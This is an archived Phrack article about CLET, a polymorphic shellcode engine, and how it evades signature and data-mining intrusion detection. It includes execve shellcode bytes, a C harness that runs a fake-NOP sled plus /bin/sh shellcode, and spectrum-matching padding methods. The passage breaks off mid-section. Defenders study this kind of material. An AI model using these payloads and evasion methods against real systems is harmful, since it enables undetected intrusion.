💾 Archived View for aphrack.org › issues › phrack61 › 9.gmi captured on 2022-03-01 at 15:52:46. Gemini links have been rewritten to link to archived content
==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x09 of 0x0f
|=--------[Polymorphic Shellcode Engine Using Spectrum Analysis]--------=|
|=----------------------------------------------------------------------=|
|=--------[ theo detristan theo@ringletwins.com ]--------=|
|=--------[ tyll ulenspiegel tyllulenspiegel@altern.org ]--------=|
|=--------[ yann_malcom yannmalcom@altern.org ]--------=|
|=--------[ mynheer superbus von underduk msvu@ringletwins.com ]--------=|
|=----------------------------------------------------------------------=|
--[ 0 - Contents
1 - Abstract
2 - Introduction
3 - Polymorphism: principles and usefulness against NIDS.
4 - Make the classical IDS pattern matching inefficient.
5 - Spectrum Analysis to defeat data mining methods.
6 - The CLET polymorphism engine
7 - References
--[ 1 - Abstract
Nowadays, polymorphic is maybe an overused word. Some programs called
polymorphism engine have been lately released with constant decipher
routines. Polymorphism is a method against pattern matching (cf 3.2),
if you have constant consecutive bytes in the code you generate, NIDS
will always be able to recognize the signature of those constant bytes...
In some real engine (which generate non-constant decipher routine like
ADMmutate), there are some weaknesses left (maybe weaknesses isn't the
best word since the recent NIDS are not able to exploit them) like the
XOR problem (cf 4.2) or a NOP zone with only one byte instructions
(cf 4.1). In our engine, we have been interested in these problems (cf 4)
and we have tried to implement some solutions. We have tried too to
implement methods against the next generation of NIDS using data-mining
methods (cf 5).
However we don't claim to have created an 'ultimate' polymorphic
engine. We are aware of some weaknesses that exist and can be solved with
solutions we expose below but we haven't implemented yet. There are
probably some weaknesses too we're not aware of, your mails are welcome
for the next version.
This article explains our work, our ideas, we hope you will enjoy it.
--[ 2 - Introduction
Since the famous "Smashing the stack for fun and profit", the technique
of buffer overflow has been widely used to attack systems.
To confine the threat new defense systems have appeared based on pattern
matching. Nowadays, Intrusion Detection System (IDS) listen the trafic
and try to detect and deny packets containing shellcode used in buffer
overflow attacks.
On the virus scene, a technique called polymorphism appeared in 1992. The
idea behind this technique is very simple, and this idea can be applied to
shellcodes. ADMmutate is a first public attempt to apply polymorphism to
shellcode.
Our aim was to try to improve the technique, find enhancements and to
apply them to an effective polymophic shellcode engine.
--[ 3 - Polymorphism: principles and usefulness against NIDS.
----[ 3.1 - Back in 1992...
In 1992, Dark Avenger invented a revolutionary technique he called
polymorphism. What is it ? It simply consist of ciphering the code of the
virus and generate a decipher routine which is different at each time, so
that the whole virus is different at each time and can't be scanned !
Very good polymorphic engines have appeared : the TridenT Polymorphic
Engine (TPE), Dark Angel Mutation Engine (DAME).
As a consequence, antivirus makers developped new heuristic techniques
such as spectrum analysis, code emulators, ...
----[ 3.2 - Principles of polymorphism
Polymorphism is a generic method to prevent pattern-matching. Pattern-
matching means that a program P (an antivirus or an IDS) has a data-base
with 'signatures'. A signature is bytes suite identifying a program.
Indeed, take the following part of a shellcode:
push byte 0x68
push dword 0x7361622f
push dword 0x6e69622f
mov ebx,esp
xor edx,edx
push edx
push ebx
mov ecx,esp
push byte 11
pop eax
int 80h
This part makes an execve("/bin/bash",["/bin/bash",NULL],NULL) call.
This part is coded as:
"\x6A\x68\x68\x2F\x62\x61\x73\x68\x2F\x62\x69\x6E\x89\xE3\x31\xD2"
"\x52\x53\x89\xE1\x6A\x0B\x58\xCD\x80".
If you locate this contiguous bytes in a packet destinated to a web
server, it can be an attack. An IDS will discard this packet.
Obviously, there are other methods to make an execve call, however, it
will make an other signature. That's what we call pattern matching.
Speak about viruses or shellcodes is not important, the principles are the
same. We will see later the specificities of shellcodes.
Imagine now you have a code C that a program P is searching for. Your
code is always the same, that's normal, but it's a weakness. P can have
a caracteristic sample, a signature, of C and make pattern matching to
detect C. And then,C is no longer useable when P is running.
The first idea is to cipher C. Imagine C is like that :
[CCCCCCC]
Then you cipher it :
[KKKKKKKK]
But if you want to use C, you must put a decipher routine in front of it :
[DDDDKKKKKKKK]
Great ! You have ciphered C and the sample of C that is in P is no longer
efficient. But you have introduced a new weakness because your decipher
routine will be rather the same (except the key) each time and P will be
able to have a sample of the decipher routine.
So finally, you have ciphered C but it is still detected :(
And polymorphism was born !
The idea is to generate a different decipher routine each time."different"
really means different, not just the key. You can do it with different
means :
- generate a decipher routine with different operations at each time. A
classic cipher/decipher routine uses a XOR but you can use whatever
operation that is reversible : ADD/SUB, ROL/ROR, ...
- generate fake code between the true decipher code. For example, if you
don't use some registers, you can play with them, making fake operations
in the middle of the effective decipher code.
- make all of them.
So a polymorphism engine makes in fact 2 things :
- cipher the body of the shellcode.
- generate a decipher routine which is _different_ at each time.
----[ 3.3 - Polymorphism versus NIDS.
A code of buffer overflow has three or four parts:
--------------------------------------------------------------------------
| NOP | shellcode | bytes to cram | return adress |
--------------------------------------------------------------------------
Nowadays, NIDS try to find consecutive NOPs and make pattern matching on
the shellcodes when it believes to have detected a fakenop zone. This is
not a really efficient method, however we could imagine methodes to
recognize the part of bytes which cram the buffer or the numberous
consecutive return adresses.
So, our polymorphic engine have to work on each of those parts to make them
unrecognizable. That's what we try to do:
- firstly, the NOPs series is changed in a series of random instructions
(cf 4.1 "fake-nop") of 1,2,3 bytes.
- secondly, the shellcode is ciphered (with a random method using more
than an only XOR) and the decipher routine is randomly generated.
(cf 4.2)
- thirdly, in a polymorphic shellcode, a big return adress zone has to
be avoided. Indeed, such a big zone can be detected, particulary by
data mining methods. To defeat this detection, the idea is to try to
limit the size of the adress zone and to add bytes we choose between
shellcode and this zone. This bytes are chosen randomly or by using
spectrum analysis (cf 5.3.A).
- endly, we haven't found a better method than ADMmutate's to covert
the return adresses: since the return adresse is chosen with
uncertainly, ADMmutate changes the low-weight bits of the return adress
between the different occurences (cf 4.2).
NB: Shellcodes are not exactly like virus and we can take advantage of it:
- A virus must be very careful that the host program still works after
infection ; a shellcode does not care! We know that the shellcode will
be the last thing to be executed so we can do what we want with
registers for example, no need to save them.
We can take good avantage of this, and in our fake-nop don't try to make
code which makes nothing (like INCR & DECR, ADD & SUB or PUSH & POP...)
(what could be moreover easily recognizable by an IDS which would
make code emulation). Our fake-nop is a random one-byte instructions
code, and we describe another method (not implemented yet) to improve
this, because generating only one-byte instructions is still a weakness.
- The random decipher method has to be polymorphed with random code (but
not necessarily one-byte instructions) wich makes anything but without
consequences on the deciphering (hum... not implemented yet :(
- A shellcode must not have zeroes in it, since, for our using, we always
using strings to stock our code. so we have to take care of it...
Thus, this is what a polymorphic shellcode looks like:
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
Let's now study each part of it.
--[ 4 - Make classical IDS pattern matching inefficient.
----[ 4.1 - Fake NOPs zone with 2,3 bytes instructions.
------[ 4.1.A - Principles
NOPs are necessary before the shellcode itself. In fact, why is it
necessary ? Because we don't know exactly where we jump, we just know we
jump in the middle of the NOPs (cf article of Aleph One [1]). But it is
not necessary to have NOPs, we can have almost any non-dangerous
instructions. Indeed, we don't have to save some register, the only
condition we have is to arrive until the decipher routine without errors.
However we can't use any 'non-dangerous' instructions. Indeed, remember
we don't know exactly where we jump.
One method to avoid this problem is to make the nop zone with only one-
byte instructions. Indeed, in such a case, wherever we jump we fall on
an correct instruction. The problem of such a choice is that there is not
a lot of one byte instructions. It is thus relatively easy for an IDS to
detect the NOPs zone. Hopefully many one-byte instructions can be coded
with an uppercase letter, and so we could hide the nop zone in an
alphanumeric zone using the american-english dictionnary (option -a of
clet). However, as we explain in 5, such a choice can be inefficience,
above all when the service asked is not an 'alphanumeric service' (cf 5).
Thus the problem is : how could we generate a random fake-nop using
several-bytes instructions to better covert our fake nop?
There is a simple idea: we could generate two-byte intructions, the
second byte of which is a one-byte instruction or the first byte of a
two-byte instruction of this type and then recursively.
But let's see what can be problems of such a method.
------[ 4.1.B - Non-dangerous several bytes instructions.
- Instructions using several bytes can be dangerous because they can
modify the stack or segment selectors (etc...) with random effects.
So we have to choice harmless instructions (to do it, the book [3] is
our friend... but we have to make a lot of tests on the instructions we
are choosing).
- Some times, several-bytes instructions ask for particular suffixes to
specify a register or a way of using this instruction (see modR/M
[3]). For example, instruction CMP rm32,imm32 (compare) with such a code
"0x81 /7 id" is a 6-bytes instruction which asks for a suffix to specify
the register to use, and this register must belong to the seventh column
of the "32-bit adressing Forms with the modR/M Byte" (cf[3]). However,
remember that everywhere the code pointer is pointing within the
fake-nop, it must be able to read a valid code. So the suffix and
arguments of instructions must be instructions themselves.
------[ 4.1.C - An easy case
Let's take the string : \x15\x11\xF8\xFA\x81\xF9\x27\x2F\x90\x9E
If we are following this code from the begining, we are reading:
ADC $0x11F8FA81 #instruction demanding 4-bytes argument
STC #one-byte instructions
DAA
DAS
NOP
SAHF
If we are begining from the second byte, we are reading:
ADC %eax,%edx
CMP %ecx,$0x272F909E
Etc... We can begin from everywhere and read a valid code which makes
nothing dangerous...
------[ 4.1.D Test the fake-nop
char shell[] =
"\x99\x13\xF6\xF6\xF8" //our fake_nop
"\x21\xF8\xF5\xAE"
"\x98\x99\x3A\xF8"
"\xF6\xF8"
"\x3C\x37\xAF\x9E"
"\xF9\x3A\xFC"
"\x9F\x99\xAF\x2F"
"\xF7\xF8\xF9\xAE"
"\x3C\x81\xF8\xF9"
"\x10\xF5\xF5\xF8"
"\x3D\x13\xF9"
"\x22\xFD\xF9\xAF"
//shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main()
{
void (*go)()=(void *) shell;
go();
return(0);
}
We test a fake_nop string generate with our code... but it's not really
efficient as you can see :
when the adress (shell+i) of the function go() is change the testing
program exited with:
shell -> sh-2.05b$
shell+1 -> sh-2.05b$
shell+2 -> Floating point exception Argh!
shell+3 -> sh-2.05b$
shell+4 -> sh-2.05b$
...
shell+11 -> sh-2.05b$
We haven't been care enough with the choice and the organization of our
instructions for the fake_nop and then we can randomly have segfaults
or Floating point exceptions...(Really boring)
------[ 4.2 - The decipher routine
There are maybe two different methods to generate a decipher routine:
- you can use always the same routine but modify instructions. For
instance you can use add eax,2 or inc eax; inc eax; the result will be
the same but the code not.
- you can generate a different routine of decipher too.
In this two methods, you can add code between instructions of the
decipher routine. Obviously, this add code mustn't modify running of this
routine.
CLET have chosen the second approach, and we don't generate code between
instructions because registers we use, order of instructions, type of
instructions (ADD,SUB,ROL,ROR,XOR) change each time. Thus it is not
necessary to add instructions...
* XOR with a fixed size key is not enough
There is a problem with using a decipher routine with only a XOR and a
fixed size key. Mark Ludwig [5] describes it in From virus to antivirus
with a concrete example. The real problem comes from the associativity and
commutativity of the XOR operation and from the constant size of the key.
Imagine you cipher these two bytes B1 B2 with the key K, you obtain two
ciphered bytes: C1 C2.
C1 XOR C2 = (B1 XOR K) XOR (B2 XOR K)
= B1 XOR K XOR B2 XOR K
= B1 XOR B2 XOR K XOR K
= B1 XOR B2 XOR (K XOR K)
= B1 XOR B2 XOR 0
= B1 XOR B2
= Constant (independant on K)
We understand why an encrypted shellcode with a only XOR decipher routine
and a fixed size key let a carateristic signature of the shellcode. You
just have to XOR bytes with their neighboor in case of a single byte key,
you will always have the same result, which is independant on K. In case
of you have a key of N bytes, to obtain the signature you XOR bytes k with
bytes k+N. Such a signature could be exploited by the NIDS (however you
need a lot of calculation power).
It's important to notice (thanks for those who tell us ;) ) that the real
problem is not only a XOR. It's an only-XOR encryption AND a fixed size
key. Indeed, some vx polymorphic engines, use an only XOR in the
encryption but the key is not the same for all the ciphering. The key
changes, and size of the key too. In such a case, our demonstration is
inefficient because B1 and B2 are not ciphered with the same key K and you
don't know where is the next byte ciphered with the same key (that's what
you know when you use an only-XOR encryption with a fixed size key of
several bytes.)
So a cipher routine using only a XOR and a fixed size key is not enough.
In CLET we generate routines which cipher with several instructions XOR,
ADD, ROR, ...
* Random registers
Remember we decide to generate a different decipher routine each time.
Even if we change the type of ciphering each time, it is important too to
modify asembler instructions that make this decipher routine. To do so,
we have decided to change registers used. We need three registers, one
to record address where we are working, one to record byte we are working
on, one more register for all the other things. We have the choice between
eax,ebx,ecx,edx. Thus we randomly use three of this registers each time.
* Four bytes encryption to defeat spectrum analysis methods.
Let's begin to explain what we call a spectrum and what is spectrum
analysis.
A spectrum of a paquet gives you bytes and number of this bytes in this
packet.
For instance, the following board is a spectrum of a paquet called X:
|\x00|\x01|\x08|\x0B|\x12|\x1A| ... |\xFE|\xFF|
-----------------------------------------------
| 25 | 32 | 04 | 18 | 56 | 43 | ... | 67 | 99 |
This board means that there is 25 \x00 in X, 32 \x01, 0 \x02, ...
This board is what we call spectrum of X.
A spectrum analysis method makes spectrums of packets and create rules
thanks to these spectrums. Some IDS use spectrum analysis methods to
discard some packets. For instance, imagine that, in a normal trafic, you
never have packets with more than 20 bytes of \xFF. You can make the
following rule: discard packets with more than 20 bytes of \xFF. This
is a very simple rule of spectrum analysis, in fact lots of rules are
generated (with neural approach for instance, see 5.2) about spectrum of
packets. This rules allow an IDS to discard some packets thanks to their
spectrums. This is what we call a spectrum analysis method.
Now, let's see how an IDS can put together pattern matching and spectral
analysis methods.
The idea is to record signatures but not signatures of consecutive bytes,
signatures of spectrum. For instance, for the previous packet X, we
record: 25, 32, 04, 18, 56, 43, ...., 67, 99. Why these values? Because
if you use a lonely byte encryption these values will always be the same.
In that way, if we cipher paquet X with the cipher routine XOR 02, ADD 1
we obtain a packet X' which spectrum is:
|\x03|\x04|\x0A|\x0B|\x11|\x19| ... |\xFD|\xFE|
-----------------------------------------------
| 25 | 32 | 18 | 04 | 56 | 43 | ... | 67 | 99 |
This spectrum is different, order of values is different; however we have
the same values but affected to other bytes. Spectrum signature is the
same. With such a way of encryption, the spectrum of the occurences of
each encrypted bytes is a permutation of the spectrum of the unencrypted
bytes. The encryption of a lonely byte return a value which is unique and
caracteristical of this byte, that's really a problem.
In order to avoid signatures similarities, the shellcode is four bytes
encrypted and this method prevents us to have a singular spectrum of
occurences. Indeed, if we crypt FFFFFFFF for instance with XOR AABBCCDD,
ADD 1, we obtain 66554433. Thus, spectrum of X' won't be a permutation
of spectrum of X. A four-bytes encryption allows us to avoid this kind
of spectrum analysis.
But spectrum analysis methods are just a kind of more general methods,
called data-mining methods. We will see now what are these methods and
how we can use spectrum analysis of the trafic to try to defeat this more
general kind of methods.
--[ 5 - Spectrum Analysis to defeat data mining methods
----[ 5.1 - History
When vxers had discovered polymorphism, authors of antivirus were afraid
that it was the ultimate solution and that pattern matching was dead.
To struggle this new kind of viruses, they decided to modify their
attacks. Antivirus with heuristic analysis were born. This antivirus tries
for instance to execute the code in memory and test if this code modifies
its own instructions (if it tries to decipher it for instance), in such
a case, it can be a polymorphed virus.
As we see upper, four-bytes encryption, not using an only XOR and a fixed
size key, fakenop zone with more than one-byte instructions allow to
'defeat' pattern matching. Perhaps it remains some weaknesses, however we
think that polymorphism engines will be more and more efficient and that
finally it will be too difficult to implement efficient pattern matching
methods in IDS.
Will IDS take example on the antivirus and try to implement heuristic
method? We don't think so because there is a big difference between IDS
and antivirus, IDS have to work in real time clock mode. They can't record
all packets and analyse them later. Maybe an heuristic approach won't be
used. Besides, Snort IDS, which tries to develop methods against
polymorphed shellcodes, don't use heuristic methods but data mining
methods. It's probably these methods which will be developped, so that's
against these methods we try to create polymorphic shellcodes as we
explain in 5.3 after having given a quick explaination about data mining
methods.
----[ 5.2 - A example of a data mining method, the neural approach
or using a perceptron to recognize polymorphic shellcode.
As we explained it before, we want that, from a set of criterions detected
by some network probes, a manager takes a real time reliable decision on
the network trafic. With the development of polymorphic engines, maybe
pattern matching will become inefficient or too difficult to be
implemented because you have to create lots of rules, perhaps sometimes
you don't know. Is there a solution? We have lots of informations and we
want to treat them quickly to finaly obtain a decision, that's the general
goal of what are called data mining methods.
In fact, the goal of data mining is the following:
from a big set of explanatory variables (X1,..,XN) we search to take a
decision on an unknown variable Y. Notice that:
this decision has to be taken quickly (problem of calculating
complexity)
this decision has to be reliable (problem of positif falses...)
There is a lot of methods which belongs to theory of data mining. To
make understanding the CLET approach about anti-data mining methods, we
have decided to show one of them (actually bases of one of them): the
connexionist method because this method has several qualities for
intrusion detection:
the recognition of intrusion is based on learning. For example, with an
only neuron, the learning consists in choosing the best explanatory
variables X1,...,XN and setting the best values for the parameters
w1,...wN (cf below).
thanks to this learning, a neural network is very flexible and is able
to work with a big number of variables and with explanation of Y with the
variables X1,...,XN ().
So, in a network, such an approach seems to be interesting, since the
number of explanatory variables is certainly huge. Let's explain bases of
it.
------[ 5.2.A - Modelising a neuron.
To understand how can work an IDS using a data-mining method based on
neural approach, we have to understand how work a neuron (so called
because this kind of programs copy neuron of your brain). The scheme
below explains how a neuron runs.
As in your brain, a neuron is a simple calculator.
____________
X1 --------w1--------| |
| |
X2---------w2--------| |
| Neuron |--fh[(w1*X1 + w2*X2 + ... + wN*XN)-B]
... | |
| |
XN --------wN--------|____________|
fh is the function defined by: |
fh(x)=1 if x>0 | B is called the offset of the neuron.
fh(x)=0 if x<=0 |
So we understand that the exiting value is 0 or 1 depending of the
entering value X1,X2,...,XN and depending on w1,w2,...,wN.
------[ 5.2.B - a data-mining method: using neural approach in an IDS.
Imagine now that the value X1,X2,...,XN are values of the data of a
packet: X1 is the first byte, X2 the second,..., XN the last one (you can
choose X1 the first bit, X2 the second, etc... if you want that the
entering values are 0 or 1) (we can choose too X1 number of \x00, X2
number of \x01,... there are many methods, we expose one idea here in
order to explain data mining). The question is: which w1,w2,...wN have we
to choose in order to generate an exiting value of 1 if the packet is a
'dangerous' one and 0 if it is a normal one? We can't find value, our
neuron have to learn them with the following algorithm:
w1,w2,...,wN is first chosen randomly.
Then we create some packets and some 'dangerous' packets with polymorphic
engine, and we test them with the neuron.
We modify the wI when the exiting value is wrong.
If the exiting value is 0 instead of 1:
wI <- wI + z*xI 0<=I<=N
If the exiting value is 1 instead of 0:
wI <- wI - z*xI 0<=I<=N
z is a constant value chosen arbitrarily.
In easy stages, neuron will 'learn' to recognize normal packets from
'dangerous' ones. In a real IDS, one neuron is not sufficient, and the
convergence have to be studied. There is however two big advantages of
neural approach:
decisions of a neural network depend not directly on rules written by
humans, they are based on learning which set "weights" of different
entries of neurons according to the minimization of particular statistical
criterions. So the decisions are more shrewd and more adapted to the local
network traffic than general rules.
when the field of searching is important (huge data bases for pattern
matching), data mining approach is quicker because the algorithm has not
to search in a huge data bases and as not to perform a lot of calculations
(when the choice of the network topology, of explanatory variables and
learning are "good"...)
----[ 5.3 - Spectrum Analysis in CLET against data mining method.
The main idea of the method we expose upper, like lots of data mining
methods, is to learn to recognize a normal packet from a 'dangerous'
packet. So we understand that to struggle this kind of methods, simple
polymorphism can be not enough, and alphanumeric method (enjoy the
excellent article of rix), can be inefficient. Indeed, in a case of a
non-alphanumeric communication, alphanumeric data will be considered as
strange and will create an alert. The question is to know how a polymorph
engine can generate a polymorphic shellcode which will be considered as
normal by an IDS using data mining methods. Maybe CLET engine shows a
beginning of answer. Howerer we are aware of some weaknesses (for
nstance the SpectrumFile has no influence under the fakenot zone), we work
today on this weaknesses.
Let's see how it works.
Imagine the following case:
_________
| Firewall| ________
---Internet---| + |------| Server |
| IDS | |________|
|_________|
We can suppose that the IDS analyses the entering packet with a port
destination 80 and the ip of the server with data mining methods.
To escape this control, our idea is to generate bytes which values are
dependant on the probability of this values in a normal trafic:
theo@warmach# sniff eth0 80 2>fingerprint &
theo@warmach$ lynx server.com
The program sniff will listen on interface eth0 the leaving packet with a
destination port 80 and record the data of them in a file fingerprint in
binary.
Then, we begin to navigate normally to record a 'normal' trafic.
theo@warmach$ stat fingerprint Spectralfile
The program stat will generate a file Spectralfile which content have the
following format:
0 (number of bytes \x00 in leaving data destinated to server)
1 (number of bytes \x01 in leaving data destinated to server)
...
FF (number of bytes \xFF in leaving data destinated to server)
This Spectralfile can be generated by lots of methods. Instead of my
example, you can decide to generate it from the trafic on a network,
you can decide to write it if you have specials demands....
Now the question is, how can we use this file? how can we use a
description of a trafic? Option f of clet allows us to use a analysis of
a trafic, thanks to this spectral file.
theo@warmach$ clet -n 100 -c -b 100 -f Spectralfile -B
(cf 6 for options)
Action of option -f is different between the different zones (NOPzone,
decipher routine, shellcode, cramming zone). Indeed we want to modify,
thanks to SpectralFile, process of generation of polymorphic shellcode but
we can't have the same action upon the different zones because we have
constraints depending on zones. It's for instance, in some cases, very
difficult to generate a fake nop zone according to a spectrum analysis.
Let see how we can act upon this different zones.
------[ 5.3.1 - Generate cramming bytes zone using spectrum analysis.
The simplest idea is to generate a craming bytes zone which spectrum is
the same than trafic spectrum:
-------------------------------------------------------------------------
| FAKENOP | DecipherRoutine | shellcode | bytes to cram | return adress |
-------------------------------------------------------------------------
^
|
|
the probability of these bytes
are dependant on the Spectralfile
(without the value \x00)
If there is no file in argument, there is equiprobability for all the
values (without zero)...
This process of generation is used if you don't use -B option.
However cramming bytes zone is the gold zone. In that way, we can generate
bytes we want. Remember that in some zones, we don't use spectrum
analysis (like in DecipherRoutine in our version). It will more usefull to
use cramming bytes zone in order to add bytes we lack in previous zones in
which we can't so easily use spectral file. Let's go!
--------[ 5.3.1.A - A difficult problem
To explain it, we will take a simple example. We are interested in a zone
where there are only three bytes accepted called A,B,C. A spectrum study
of these zone shows us:
A: 50
B: 50
C: 100
The problem is that, because of our shellcode and our nop_zone, we have
the following fixed beginning of our packet:
ABBAAAAA (8 bytes)
We can add two bytes with our cramming zone. The question is:
which 2 bytes have we to choose?
The answer is relativy simple, intuitively we think of CC, why?
because C is important in trafic and we don't have it. In fact, if we
call
Xa the random variable of Bernouilli associated to the number of A in the
first 9 bytes
Xb the random variable of Bernouilli associated to the number of B in the
first 9 bytes
Xc the random variable of Bernouilli associated to the number of C in the
first 9 bytes
we intuitively compare p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=7)*p(Xb=2)
and p(Xa=6)*p(Xb=2)*p(Xc=1) > p(Xa=6)*p(Xb=3)
Thus, we choose C because the packet ABBAAAAAC have, spectrumly speaking,
more probablities to exist than ABBAAAAAA or ABBAAAAAB.
Maybe you can think that it is because C has the most important
probability in the trafic. It's a wrong way of thinking. Indeed, imagine
we have the following beginning:
CCCCCBBB
how have to choose the next byte? we will choose A although A and B have
the same probability to come because of the reason explained upper.
Ok so we choose C. Using the same principles, we then choose C for the
tenth bytes: ABBAAAAACC.
The problem is that we can't use this method to generate the cramming
bytes. Indeed, this method is fixed. When we write fixed, we want to say
that the first 8 bytes fixed the two following. That is a weakness!
In that way, if we generate the cramming bytes zone by this method, that
means that the beginning zone (nop_zone+ decipher + shellcode) will fix
the cramming zone. If we use a principle, we create a method to recognize
our packet. Take the beginning and try with the same principles to create
a cramming zone. If you obtain the same bytes then the packet have been
created by CLET polymorphism engine (even if it is not easy to find the
beginning of the cramming bytes zone). You can discard it.
So now we have to introduce a law of probability. Indeed, if we have the
following beginning: ABBAAAAA, we have to increase the probability to
obtain a C and decrease probability to obtain B or A. But this last
probabilities mustn't be null! The real question is thus:
how modifying probability of A,B,C in order to finally obtain a packet
which spectrum is close to trafic spectrum?
------[ 5.3.1.B - A logical idea.
Take the last example: we have
ABBAAAAA
and a spectrum file with:
A=50; B=50; C=100;
how choosing laws of probabilty?
With notations used upper and in case of all the bytes would have been
chosen using spectrum file, we would have:
E[Xa]=9/4
E[Xb]=9/4
E[Xc]=9/2
E[X] is written for the hope of the random variable X (mathematicaly
speaking in our case: E[X]=p(X)*size (here 9) because it's a Bernouilli
variable).
In fact we have 6 A and 2 B.
Because 9/4-6 <0, it will stupid to generate a A, we can write that the
new probability of A is now p(A)=0!
However 9/4-2 >0 and 9/2-0>0 so we can still generate B and C to ajust the
spectrum. We must have p(B)>0 and p(C)>0.
We have:
9/4-2=1/4
9/2-0=9/2
So intuitively, we can think that it is logic that C has a probablity
(9/2)/(1/4)=18 bigger than probability of B. Thus we have to solve the
system:
| p(C)=18*p(B) ie | p(B)=1/19
| p(C)+p(B)=1 | p(C)=18/19
and we obtain laws for generate the ninth byte.
Then we can use the same algorithm to create cramming byte zone.
However this algorithm has the following problem:
the big problem is to know in what conditions we have:
E[Xa] ~ sizeof(packet) * p(A)
E[Xb] ~ sizeof(packet) * p(B)
E[Xc] ~ sizeof(packet) * p(C)
...
when sizeof(cramming zone) ---> +oo
ie when sizeof(paquet) -------> +oo
~ means equivalent to (in the mathematical sense).
sizeof(packet) * p(.) would be the hope in case of the whole packet would
have been generated depending on trafic (because in such a case, Xa,Xb,..
would be variables of Bernouilli, see [7]). Remember it's what we want. We
want that our cramming byte zone generate a packet which entire spectrum
is close to trafic spectrum. We want that our laws 'correct' the spectrum
of the beginning. Intuitively we can hope that it will be the case because
we favour lacking bytes over the others. However, it is a bit difficult to
prove it, mathematicaly speaking. Indeed take E[Xa] for instance. It's
very difficult to write it. In that way laws to generate the N byte
depending on the N-1 random byte. In our example, laws to generate the
tenth byte are not the same if we have ABBAAAAAC or ABBAAAAAB. Remember
that to avoid a fixed method the two cases are allowed!
That's for all this reasons we have chosen a simpler method.
------[ 5.3.1.C - CLET Method.
If you don't use the option -B, cramming bytes zone will be generated as
explain in the beginning of 5.3.1, without taking the beginning into
account. We can begin to explain how this method is implemented, how it
uses the spectrum file. Imagine we have the following spectrum file:
0 6
1 18
2 13
3 32
4 0
.....
FC 0
FD 37
FE 0
FF 0
First we can notice that we don't take care of the first line because we
can't generate zeros in our zone. We build the following board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
= 31 = 63 = 100
Then we randomly choose a number n between 1 and 100 and we make a
dichotomic search in the board (to limit the complexity because we have a
sorted board).
if 0 < n <= 18 we generate \x01
if 18 < n <= 31 we generate \x02
if 31 < n <= 63 we generate \x03
if 63 < n <= 100 we generate \xFC
This method allows us to generate a cramming bytes zone with p(1)=18/100,
p(2)=13/100, p(3)=32/100 and p(FC)=37/100, without using float division.
Now let's see how the option -B take the beginning into account.
We take the same example with the same spectrum file:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 31+32 | 63+37 |
= 31 = 63 = 100
To take the beginning into account, we modify the board with the following
method:
Imagine we have to generate a 800 bytes cramming bytes zone, the beginning
have a size of 200 bytes. In fact, at the end, our packet without the
adress zone will have a size of 1000 bytes.
We call Ntotal the max value in board (here 100) and b the size of the
packet without the adress zone (here 1000).
b= b1 + b2 (b1 is size of the beginning=fakenop+decipher+shellcode and b2
is size of cramming byte zone). Here b1=200 and b2=800.
Let's see how we modify the board, for instance with byte \x03. We call q3
the number of byte \x03 we found in the beginning. (here we choose q3=20).
We make q3*Ntotal/b=20*1/10=2 and then we make 63-2=61. We obtain the
following board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 18 | 13+18 | 63-02 | 61+37 |
= 31 = 61 = 98
So now, we can think that we have a probability of 30/98 to generate \x03,
however this algorithm have to be use to modify all value. The value 98
will be thus modified. We apply the same algorithm and we can suppose we
finally obtain the board:
| sizeof(board) | 1 | 2 | 3 | FC |
---------------------------------------------------------------
| XXXXXXXXX | 16 | 11+16 | 57 | 57+33 |
= 27 = 90
Finally we see that we obtain laws:
p(\x01)= 16/90
p(\x02)= 11/90
p(\x03)= 30/90
p(\xFC)= 33/90
This laws will be use to generate all the cramming bytes zone.
Intuitively, we understand that, with this method, we correct our
spectrum depending on the values we have in the beginning. The question is
now, can we prove that this method do a right correction, that:
E[Xn] ~ b*p(n) when b ---> +oo
where X is a random variable of bernouilli which count the number of the
byte n in the packet and p(n) the probability of n to appear in the
trafic.
If such is the case, that means that E[X], with a sufficient value of b,
is 'like a simple bernoulli hope'. It's like we have generated the whole
packet with probabilities of the trafic!
Let's prove it!
We take the same notation. Ntotal is total sum of data in the trafic.
b=b1+b2 (b1 size of beginning, b2 size of cramming zone).
We call q(\xA2) number of \xA2 bytes in beginning (fakenop +decipher +
shellcode) and n(\xAE) the number initially written in spectrum file near
AE.
We take a byte that we call TT.
E[Xt] = q(TT) + b2 * p'(TT)
p'(TT) is the probability for having n after modification of the board. As
we see previously:
n(TT) - q(TT)*Ntotal/b
p'(TT)= -----------------------------------------------------------
Ntotal - ( q(\x00)+ q(\x01) + ...... + q(\xFF) )*Ntotal/b
So we have:
n(TT) - q(TT)*Ntotal/b
E[Xt]=q(TT)+b2*--------------------------------------------------------
Ntotal - (q(\x00)+ q(\x01) + ...... + q(\xFF))*Ntotal/b
We simplify by Ntotal:
(b2*n(TT))/Ntotal - q(TT)*b2/b
E[Xt]=q(TT) + --------------------------------------------------------
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b
Ok, when b -----> +oo, we have:
b2~b (b=b1+b2 and b1 is a constant)
Obviously q(\x00)=o(b); q(\x01)=o(b);.....
thus (q(\x00)+ q(\x01) + ...... + q(\xFF))/b = o(1) and:
1 - (q(\x00)+ q(\x01) + ...... + q(\xFF))/b -------> 1
so E[Xt] = q(TT) + b*(n(TT)/Ntotal) - q(TT) + o(b)
Moreover we have p(n)=n(TT)/Ntotal so
E[Xt] = b*p(n) + o(b)
so E[Xt] ~ b*p(n) we got it!
We can notice that we got this relation with the first simple method. We
can so think that this second method is not better. It is wrong because
remember that this relation doesn't show that a method is good or not, it
just shows if a method is fair or not! This second method takes beginning
into account, so it is better that the simple one. However before
demonstration we can't know if this method was fair. We just knew that if
it was fair, it will better than the simple one. Now we know that it is
fair. That's why CLET uses it.
------[ 5.3.2 - Generating shellcode zone using spectrum analysis.
There is a very simple idea: generating several decipher routines and
